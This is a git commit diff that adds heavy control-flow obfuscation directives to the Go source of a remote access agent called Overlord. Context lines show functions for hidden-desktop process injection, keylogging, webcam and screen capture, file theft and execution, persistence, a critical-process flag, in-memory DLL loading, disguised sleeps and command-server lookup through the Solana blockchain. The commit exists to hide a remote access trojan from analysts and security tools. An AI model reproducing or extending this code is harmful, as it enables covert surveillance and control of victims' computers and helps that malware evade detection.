add control flow obf for garble

This commit is contained in:
KingKDot
2026-04-20 13:46:59 -05:00
parent a43da5e047
commit a58e0fadf1
37 changed files with 47 additions and 0 deletions
@@ -25,6 +25,7 @@ var (
)
func Start(ctx context.Context, env *runtime.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env == nil {
return nil
}
@@ -173,6 +173,7 @@ func findSystemCaptureDevice(ctx malgo.Context) (*malgo.DeviceID, string, bool)
}
func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if onCapture == nil {
return nil, errors.New("voice capture callback is required")
}
+1
View File
@@ -32,6 +32,7 @@ func supportsCapture() bool {
}
func captureAndSend(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if safeDisplayCount() == 0 {
return nil
}
@@ -23,6 +23,7 @@ import (
)
func Loop(ctx context.Context, env *rt.Env) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer recoverAndLog("capture loop", env.Cancel)
logCodecSupport()
@@ -85,6 +86,7 @@ func CaptureDisplayRGBA(display int) (*image.RGBA, error) {
}
func CaptureAndSend(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer recoverAndLog("capture send", env.Cancel)
displays := activeDisplays()
@@ -754,6 +754,7 @@ func calcDirSize(dir string) int64 {
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -805,6 +805,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
}
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
captureMu.Lock()
defer captureMu.Unlock()
@@ -995,6 +996,7 @@ func isExplorerRunningToolhelp() bool {
}
func hvncMouseMoveOnThread(display int, x, y int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
hvncInputMu.Lock()
@@ -1059,6 +1061,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
}
func hvncMouseButtonOnThread(button int, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentHVNCCursor()
if button == 0 && !down {
@@ -1169,6 +1172,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
}
func hvncKeyOnThread(vk uint16, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentHVNCCursor()
hwnd := windowFromPoint(pt)
if hwnd == 0 {
@@ -75,6 +75,7 @@ type Config struct {
}
func Load() Config {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
if server == "" {
server = DefaultServerURL
@@ -18,6 +18,7 @@ type Identity struct {
}
func DeriveIdentity() Identity {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
hwid := deriveHWID()
machineID := platformMachineID()
if machineID == "" {
@@ -62,6 +62,7 @@ type parsedInstruction struct {
}
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if solAddress == "" {
return nil, fmt.Errorf("solana address is empty")
}
@@ -34,6 +34,7 @@ func shellCommand() []string {
}
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if sessionID == "" {
return errors.New("session id required")
}
+1
View File
@@ -14,6 +14,7 @@ import (
const crashLogFileName = "crashlogC.log"
func handleFatalPanic() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if r := recover(); r != nil {
reason := fmt.Sprintf("panic: %v", r)
stack := debug.Stack()
@@ -19,6 +19,7 @@ var (
const processBreakOnTermination = 29
func Setup() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if !windows.GetCurrentProcessToken().IsElevated() {
log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
return
@@ -18,6 +18,7 @@ var SkipDirs = map[string]bool{
type ResultFunc func(path string)
func LookupExe(exeName string, workers int, onResult ResultFunc) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if workers <= 0 {
workers = 8
}
@@ -18,6 +18,7 @@ import (
)
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
sourcePath = strings.TrimSpace(sourcePath)
if sourcePath == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
@@ -536,6 +536,7 @@ func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -27,6 +27,7 @@ func GetPersistedDisplay() int {
}
func DesktopStart(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
if fps < 60 {
fps = 60
@@ -156,6 +156,7 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
}
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_download: %s", path)
file, err := os.Open(path)
@@ -239,6 +240,7 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
}
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if total > 0 {
key := uploadKey(path, transferID)
pendingUploadsMu.Lock()
@@ -720,6 +722,7 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
}
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_read: %s", path)
if maxSize == 0 {
@@ -771,6 +774,7 @@ func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, pa
}
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_write: %s", path)
dir := filepath.Dir(path)
@@ -1016,6 +1020,7 @@ func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, p
}
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_execute: %s", path)
err := ExecuteFile(path)
@@ -27,6 +27,7 @@ func GetPersistedHVNCDisplay() int {
}
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -98,6 +98,7 @@ func sendMouseUp(button int) {
}
func sendMouseInput(flags uint32, mouseData uint32) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
var inp input
inp.inputType = INPUT_MOUSE
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
@@ -165,6 +166,7 @@ func sendKeyUp(vk uint16) {
}
func sendKeyInput(vk uint16, keyUp bool) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
var inp input
inp.inputType = INPUT_KEYBOARD
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
@@ -50,6 +50,7 @@ func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error
}
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env.Keylogger == nil {
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
"type": "command_result",
@@ -8,6 +8,7 @@ import (
)
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if env.Plugins == nil {
return nil
}
@@ -33,6 +33,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
}
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("process_kill: %d", pid)
err := killProcess(pid)
@@ -24,6 +24,7 @@ var (
)
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
restore := capture.BypassResolutionCap()
defer restore()
@@ -13,6 +13,7 @@ import (
)
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
var cmd *exec.Cmd
@@ -23,6 +23,7 @@ type tunnelConn struct {
}
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
host, _ := payload["host"].(string)
portRaw := payload["port"]
var port int
@@ -10,6 +10,7 @@ import (
)
func WebcamStart(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
fps := env.WebcamFPS
if fps <= 0 {
fps = 30
@@ -40,6 +40,7 @@ func New() *Keylogger {
}
func (k *Keylogger) Start() error {
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
k.mu.Lock()
if k.running {
k.mu.Unlock()
+1
View File
@@ -11,6 +11,7 @@ import (
)
func main() {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
cfg := config.Load()
if cfg.SleepSeconds > 0 {
@@ -9,6 +9,7 @@ import (
)
func Acquire(name string) (func(), bool, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if name == "" {
return func() {}, true, nil
}
@@ -195,6 +195,7 @@ func runPowerShell(script string) error {
}
func install(exePath string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if len(persistInstallFns) == 0 {
if err := installStartupImpl(exePath); err != nil {
return err
@@ -122,6 +122,7 @@ func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error {
}
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error {
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
if len(binary) == 0 {
return errors.New("empty plugin binary")
}
@@ -139,6 +139,7 @@ type MemoryModule struct {
}
func LoadMemoryModule(data []byte) (*MemoryModule, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if len(data) < int(unsafe.Sizeof(imageDOSHeader{})) {
return nil, errors.New("pe: data too small for DOS header")
}
+2
View File
@@ -51,6 +51,7 @@ func isRunningInMemory() bool {
}
func runClient(cfg config.Config) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
baseBackoff := computeBaseBackoff()
backoff := baseBackoff
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
@@ -518,6 +519,7 @@ func truncateStr(s string, n int) string {
}
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer func() {
if r := recover(); r != nil {
reason := fmt.Sprintf("session panic: %v", r)
+1
View File
@@ -3,6 +3,7 @@ package main
import "time"
func sleepObfuscated(seconds int) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if seconds <= 0 {
return
}
@@ -7,5 +7,6 @@ type Info struct {
}
func Collect() Info {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
return collectPlatform()
}
+1
View File
@@ -3,6 +3,7 @@ package wire
import "github.com/vmihailenco/msgpack/v5"
func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
env := make(map[string]interface{})
if err := msgpack.Unmarshal(data, &env); err != nil {
return nil, err
+1
View File
@@ -12,6 +12,7 @@ type Writer interface {
}
func WriteMsg(ctx context.Context, w Writer, v interface{}) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
payload, err := msgpack.Marshal(v)
if err != nil {
return err